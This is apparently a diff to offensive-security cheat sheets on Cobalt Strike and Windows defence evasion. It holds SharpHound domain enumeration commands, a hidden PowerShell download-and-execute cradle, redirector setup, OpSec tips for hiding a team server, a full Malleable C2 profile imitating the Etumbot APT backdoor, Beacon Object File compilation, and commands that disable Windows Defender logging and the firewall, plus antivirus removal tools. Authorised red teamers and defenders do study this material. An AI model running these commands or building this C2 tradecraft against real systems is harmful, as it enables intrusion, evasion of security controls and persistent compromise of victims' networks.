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AV Removal + Cobalt SleepKit
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Swissky
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@ -232,6 +232,7 @@ Use the correct collector
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.\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword <Password> --JSONFolder <PathToFile>
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.\SharpHound.exe -c all -d active.htb --LdapUsername <UserName> --LdapPassword <Password> --domaincontroller 10.10.10.100
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.\SharpHound.exe -c all,GPOLocalGroup --outputdirectory C:\Windows\Temp --randomizefilenames --prettyjson --nosavecache --encryptzip --collectallproperties --throttle 10000 --jitter 23
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.\SharpHound.exe -c all,GPOLocalGroup --searchforest
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# or run the collector on the machine using Powershell
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# https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1
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@ -18,7 +18,8 @@ $ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstri
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* [Infrastructure](#infrastructure)
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* [Redirectors](#redirectors)
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* [Domain fronting](#domain-fronting)
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* [OpSec](#opsec)
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* [OpSec](#opsec)
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* [Customer ID](#customer-id)
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* [Payloads](#payloads)
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* [DNS Beacon](#dns-beacon)
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* [SMB Beacon](#smb-beacon)
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@ -37,6 +38,7 @@ $ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstri
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* [Resource Kit](#resource-kit)
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* [Artifact Kit](#artifact-kit)
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* [Mimikatz Kit](#mimikatz-kit)
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* [Beacon Object Files](#beacon-object-files)
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* [NTLM Relaying via Cobalt Strike](#ntlm-relaying-via-cobalt-strike)
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* [References](#references)
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@ -53,14 +55,14 @@ socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80
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### Domain Fronting
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* New Listener > HTTP Host Header
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* Target Finance & Healthcare domains
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* Choose a domain in "Finance & Healthcare" sector
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### OpSec
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## OpSec
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**Don't**
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* Change default self-signed HTTPS certificate
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* Change default port (50050)
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* 0.0.0.0 DNS response
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* Use default self-signed HTTPS certificate
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* Use default port (50050)
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* Use 0.0.0.0 DNS response
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* Metasploit compatibility, ask for a payload : `wget -U "Internet Explorer" http://127.0.0.1/vl6D`
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**Do**
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@ -69,9 +71,17 @@ socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80
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* Firewall 50050 and access via SSH tunnel
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* Edit default HTTP 404 page and Content type: text/plain
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* No staging `set hosts_stage` to `false` in Malleable C2
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* Use Malleable Profile to taylor your attack to specific actors
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### Customer ID
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## Payload
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> The Customer ID is a 4-byte number associated with a Cobalt Strike license key. Cobalt Strike 3.9 and later embed this information into the payload stagers and stages generated by Cobalt Strike.
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* The Customer ID value is the last 4-bytes of a Cobalt Strike payload stager in Cobalt Strike 3.9 and later.
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* The trial has a Customer ID value of 0.
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* Cobalt Strike does not use the Customer ID value in its network traffic or other parts of the tool
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## Payloads
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### DNS Beacon
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@ -167,11 +177,14 @@ $ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.10.10\Shared\d
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## Malleable C2
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List of Malleable Profiles hosted on Github
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* Cobalt Strike - Malleable C2 Profiles https://github.com/xx0hcd/Malleable-C2-Profiles
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* Cobalt Strike Malleable C2 Design and Reference Guide https://github.com/threatexpress/malleable-c2
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* Malleable-C2-Profiles https://github.com/rsmudge/Malleable-C2-Profiles
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* SourcePoint is a C2 profile generator https://github.com/Tylous/SourcePoint
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Example of syntax
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```powershell
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set useragent "SOME AGENT"; # GOOD
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set useragent 'SOME AGENT'; # BAD
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@ -186,75 +199,10 @@ prepend "!@#$%^&*()";
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```
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Check a profile with `./c2lint`.
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```powershell
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#
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# Etumbot Profile
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# http://www.arbornetworks.com/asert/2014/06/illuminating-the-etumbot-apt-backdoor/
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#
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# Author: @harmj0y
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#
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set sample_name "Etumbot";
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set sleeptime "5000";
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set jitter "0";
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set maxdns "255";
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set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
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http-get {
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set uri "/image/";
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client {
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header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
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header "Referer" "http://www.google.com";
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header "Pragma" "no-cache";
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header "Cache-Control" "no-cache";
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metadata {
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netbios;
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append "-.jpg";
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uri-append;
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}
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}
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server {
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header "Content-Type" "img/jpg";
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header "Server" "Microsoft-IIS/6.0";
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header "X-Powered-By" "ASP.NET";
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output {
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base64;
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print;
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}
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}
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}
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http-post {
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set uri "/history/";
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client {
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header "Content-Type" "application/octet-stream";
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header "Referer" "http://www.google.com";
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header "Pragma" "no-cache";
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header "Cache-Control" "no-cache";
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id {
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netbiosu;
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append ".asp";
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uri-append;
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}
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output {
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base64;
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print;
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}
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}
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server {
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header "Content-Type" "img/jpg";
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header "Server" "Microsoft-IIS/6.0";
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header "X-Powered-By" "ASP.NET";
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output {
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base64;
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print;
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}
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}
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}
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```
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* A result of 0 is returned if c2lint completes with no errors
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* A result of 1 is returned if c2lint completes with only warnings
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* A result of 2 is returned if c2lint completes with only errors
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* A result of 3 is returned if c2lint completes with both errors and warning
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## Files
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@ -474,6 +422,32 @@ Artifact Kit (Cobalt Strike 4.0) - https://www.youtube.com/watch?v=6mC21kviwG4 :
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* Load the mimikatz.cna aggressor script
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* Use mimikatz functions as normal
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### Sleep Mask Kit
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> The Sleep Mask Kit is the source code for the sleep mask function that is executed to obfuscate Beacon, in memory, prior to sleeping.
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Use the included `build.sh` or `build.bat` script to build the Sleep Mask Kit on Kali Linux or Microsoft Windows. The script builds the sleep mask object file for the three types of Beacons (default, SMB, and TCP) on both x86 and x64 architectures in the sleepmask directory. The default type supports HTTP, HTTPS, and DNS Beacons.
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## Beacon Object Files
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> A BOF is just a block of position-independent code that receives pointers to some Beacon internal APIs
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Example: https://github.com/Cobalt-Strike/bof_template/blob/main/beacon.h
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* Compile
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```ps1
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# To compile this with Visual Studio:
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cl.exe /c /GS- hello.c /Fohello.o
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# To compile this with x86 MinGW:
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i686-w64-mingw32-gcc -c hello.c -o hello.o
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# To compile this with x64 MinGW:
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x86_64-w64-mingw32-gcc -c hello.c -o hello.o
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```
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* Execute: `inline-execute /path/to/hello.o`
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## NTLM Relaying via Cobalt Strike
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```powershell
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@ -502,3 +476,4 @@ beacon> PortBender redirect 445 8445
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* [How to Write Malleable C2 Profiles for Cobalt Strike - January 24, 2017](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/)
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* [NTLM Relaying via Cobalt Strike - July 29, 2021 - Rasta Mouse](https://rastamouse.me/ntlm-relaying-via-cobalt-strike/)
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* [Cobalt Strike - User Guide](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm)
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* [Cobalt Strike 4.5 - User Guide PDF](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf)
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@ -4,8 +4,10 @@
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* [Tools](#tools)
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* [Hide Your Binary](#hide-your-binary)
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* [Disable Windows Defender](#disable-windows-defender)
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* [Disable Windows Firewall](#disable-windows-firewall)
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* [Disable Antivirus and Security](#disable-antivirus-and-security)
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* [Antivirus Removal](#antivirus-removal)
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* [Disable Windows Defender](#disable-windows-defender)
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* [Disable Windows Firewall](#disable-windows-firewall)
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* [Simple User](#simple-user)
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* [Registry HKCU](#registry-hkcu)
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* [Startup](#startup)
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@ -47,7 +49,14 @@
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PS> attrib +h mimikatz.exe
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```
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## Disable Windows Defender
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## Disable Antivirus and Security
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### Antivirus Removal
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* [Sophos Removal Tool.ps1](https://github.com/ayeskatalas/Sophos-Removal-Tool/)
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* [Symantec CleanWipe](https://knowledge.broadcom.com/external/article/178870/download-the-cleanwipe-removal-tool-to-u.html)
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### Disable Windows Defender
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```powershell
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# Disable Defender
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@ -68,7 +77,7 @@ Add-MpPreference -ExclusionPath C:\Video, C:\install
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reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
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```
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## Disable Windows Firewall
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### Disable Windows Firewall
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```powershell
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Netsh Advfirewall show allprofiles
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